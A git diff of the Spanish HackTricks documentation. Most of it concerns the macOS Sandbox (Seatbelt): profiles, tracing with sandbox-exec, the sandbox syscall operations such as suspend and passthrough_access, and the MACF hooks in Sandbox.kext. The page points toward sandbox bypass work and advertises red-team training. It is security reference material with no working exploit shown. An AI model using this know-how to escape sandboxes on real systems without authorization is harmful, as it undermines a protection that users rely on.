Referencias y **más información sobre BTM**:
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -156,4 +161,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
</details>

View file

@ -19,9 +19,9 @@ Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/grte.png" al
MacOS Sandbox (inicialmente llamado Seatbelt) **limita las aplicaciones** que se ejecutan dentro del sandbox a las **acciones permitidas especificadas en el perfil de Sandbox** con el que se está ejecutando la aplicación. Esto ayuda a asegurar que **la aplicación solo accederá a los recursos esperados**.
Cualquier aplicación con la **entitlement** **`com.apple.security.app-sandbox`** se ejecutará dentro del sandbox. **Los binarios de Apple** generalmente se ejecutan dentro de un Sandbox, y todas las aplicaciones de la **App Store tienen esa entitlement**. Por lo tanto, varias aplicaciones se ejecutarán dentro del sandbox.
Cualquier aplicación con la **autorización** **`com.apple.security.app-sandbox`** se ejecutará dentro del sandbox. **Los binarios de Apple** generalmente se ejecutan dentro de un Sandbox, y todas las aplicaciones de la **App Store tienen esa autorización**. Por lo tanto, varias aplicaciones se ejecutarán dentro del sandbox.
Para controlar lo que un proceso puede o no puede hacer, el **Sandbox tiene hooks** en casi cualquier operación que un proceso podría intentar (incluyendo la mayoría de las syscalls) usando **MACF**. Sin embargo, **dependiendo** de las **entitlements** de la aplicación, el Sandbox podría ser más permisivo con el proceso.
Para controlar lo que un proceso puede o no puede hacer, el **Sandbox tiene hooks** en casi cualquier operación que un proceso podría intentar (incluyendo la mayoría de las syscalls) usando **MACF**. Sin embargo, d**ependiendo** de las **autorizaciones** de la aplicación, el Sandbox podría ser más permisivo con el proceso.
Algunos componentes importantes del Sandbox son:
@ -120,7 +120,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
{% hint style="warning" %}
Todo lo creado/modificado por una aplicación en un Sandbox recibirá el **atributo de cuarentena**. Esto evitará un espacio de sandbox al activar Gatekeeper si la aplicación en sandbox intenta ejecutar algo con **`open`**.
Todo lo creado/modificado por una aplicación en un Sandbox obtendrá el **atributo de cuarentena**. Esto evitará un espacio de sandbox al activar Gatekeeper si la aplicación en sandbox intenta ejecutar algo con **`open`**.
{% endhint %}
## Perfiles de Sandbox
@ -245,22 +245,22 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
```
En `/tmp/trace.out` podrás ver cada verificación de sandbox realizada cada vez que se llamó (por lo que hay muchas duplicaciones).
También es posible rastrear el sandbox usando el parámetro **`-t`**: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
También es posible rastrear el sandbox usando el **`-t`** parámetro: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
#### A través de la API
#### A través de API
La función `sandbox_set_trace_path` exportada por `libsystem_sandbox.dylib` permite especificar un nombre de archivo de rastreo donde se escribirán las verificaciones de sandbox.\
La función `sandbox_set_trace_path` exportada por `libsystem_sandbox.dylib` permite especificar un nombre de archivo de traza donde se escribirán las verificaciones de sandbox.\
También es posible hacer algo similar llamando a `sandbox_vtrace_enable()` y luego obteniendo los registros de error del búfer llamando a `sandbox_vtrace_report()`.
### Inspección del Sandbox
### Inspección de Sandbox
`libsandbox.dylib` exporta una función llamada sandbox\_inspect\_pid que proporciona una lista del estado del sandbox de un proceso (incluidas las extensiones). Sin embargo, solo los binarios de la plataforma pueden usar esta función.
### Perfiles de Sandbox de MacOS e iOS
### Perfiles de Sandbox en MacOS e iOS
MacOS almacena los perfiles de sandbox del sistema en dos ubicaciones: **/usr/share/sandbox/** y **/System/Library/Sandbox/Profiles**.
Y si una aplicación de terceros tiene el derecho _**com.apple.security.app-sandbox**_, el sistema aplica el perfil **/System/Library/Sandbox/Profiles/application.sb** a ese proceso.
Y si una aplicación de terceros tiene el _**com.apple.security.app-sandbox**_ derecho, el sistema aplica el perfil **/System/Library/Sandbox/Profiles/application.sb** a ese proceso.
En iOS, el perfil predeterminado se llama **container** y no tenemos la representación de texto SBPL. En memoria, este sandbox se representa como un árbol binario de Permitir/Denegar para cada permiso del sandbox.
@ -288,9 +288,9 @@ Además, para confinar un proceso dentro de un contenedor, puede llamar a `sandb
## Depurar y eludir el Sandbox
En macOS, a diferencia de iOS donde los procesos están aislados desde el inicio por el kernel, **los procesos deben optar por el sandbox ellos mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente entrar en él, aunque las aplicaciones de la App Store siempre están aisladas.
En macOS, a diferencia de iOS donde los procesos están en sandbox desde el inicio por el kernel, **los procesos deben optar por el sandbox ellos mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente entrar en él, aunque las aplicaciones de la App Store siempre están en sandbox.
Los procesos se aíslan automáticamente desde el userland cuando comienzan si tienen el derecho: `com.apple.security.app-sandbox`. Para una explicación detallada de este proceso, consulta:
Los procesos se en sandbox automáticamente desde el userland cuando comienzan si tienen el derecho: `com.apple.security.app-sandbox`. Para una explicación detallada de este proceso, consulta:
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
@ -354,7 +354,7 @@ La llamada a la función `___sandbox_ms` envuelve `mac_syscall` indicando en el
* **extension\_twiddle (#9)**: Ajusta o modifica una extensión de archivo existente (por ejemplo, TextEdit, rtf, rtfd).
* **suspend (#10)**: Suspende temporalmente todas las verificaciones del sandbox (requiere derechos apropiados).
* **unsuspend (#11)**: Reanuda todas las verificaciones del sandbox que fueron suspendidas previamente.
* **passthrough\_access (#12)**: Permite acceso directo a un recurso, eludiendo las verificaciones del sandbox.
* **passthrough\_access (#12)**: Permite el acceso directo a un recurso, eludiendo las verificaciones del sandbox.
* **set\_container\_path (#13)**: (solo iOS) Establece una ruta de contenedor para un grupo de aplicaciones o ID de firma.
* **container\_map (#14)**: (solo iOS) Recupera una ruta de contenedor de `containermanagerd`.
* **sandbox\_user\_state\_item\_buffer\_send (#15)**: (iOS 10+) Establece metadatos de modo usuario en el sandbox.
@ -383,15 +383,15 @@ Ten en cuenta que en iOS la extensión del kernel contiene **todos los perfiles
**`Sandbox.kext`** utiliza más de un centenar de hooks a través de MACF. La mayoría de los hooks solo verificarán algunos casos triviales que permiten realizar la acción; si no, llamarán a **`cred_sb_evalutate`** con las **credenciales** de MACF y un número correspondiente a la **operación** a realizar y un **buffer** para la salida.
Un buen ejemplo de esto es la función **`_mpo_file_check_mmap`** que engancha **`mmap`** y que comenzará a verificar si la nueva memoria será escribible (y si no, permitirá la ejecución), luego verificará si se utiliza para la caché compartida de dyld y, si es así, permitirá la ejecución, y finalmente llamará a **`cred_sb_evalutate`** para realizar más verificaciones de autorización.
Un buen ejemplo de esto es la función **`_mpo_file_check_mmap`** que engancha **`mmap`** y que comenzará a verificar si la nueva memoria será escribible (y si no, permitirá la ejecución), luego verificará si se utiliza para la caché compartida de dyld y, si es así, permitirá la ejecución, y finalmente llamará a **`sb_evaluate_internal`** (o uno de sus envoltorios) para realizar más verificaciones de autorización.
Además, de los cientos de hooks que utiliza Sandbox, hay 3 en particular que son muy interesantes:
* `mpo_proc_check_for`: Aplica el perfil si es necesario y si no se había aplicado previamente.
* `mpo_proc_check_for`: Aplica el perfil si es necesario y si no se aplicó previamente.
* `mpo_vnode_check_exec`: Se llama cuando un proceso carga el binario asociado, luego se realiza una verificación de perfil y también una verificación que prohíbe ejecuciones SUID/SGID.
* `mpo_cred_label_update_execve`: Se llama cuando se asigna la etiqueta. Este es el más largo, ya que se llama cuando el binario está completamente cargado pero aún no se ha ejecutado. Realizará acciones como crear el objeto sandbox, adjuntar la estructura sandbox a las credenciales de kauth, eliminar el acceso a los puertos mach...
Ten en cuenta que **`cred_sb_evalutate`** es un envoltorio sobre **`sb_evaluate`** y esta función obtiene las credenciales pasadas y luego realiza la evaluación utilizando la función **`eval`** que generalmente evalúa el **perfil de plataforma** que se aplica por defecto a todos los procesos y luego el **perfil de proceso específico**. Ten en cuenta que el perfil de plataforma es uno de los componentes principales de **SIP** en macOS.
Ten en cuenta que **`_cred_sb_evalutate`** es un envoltorio sobre **`sb_evaluate_internal`** y esta función obtiene las credenciales pasadas y luego realiza la evaluación utilizando la función **`eval`** que generalmente evalúa el **perfil de plataforma** que se aplica por defecto a todos los procesos y luego el **perfil de proceso específico**. Ten en cuenta que el perfil de plataforma es uno de los componentes principales de **SIP** en macOS.
## Sandboxd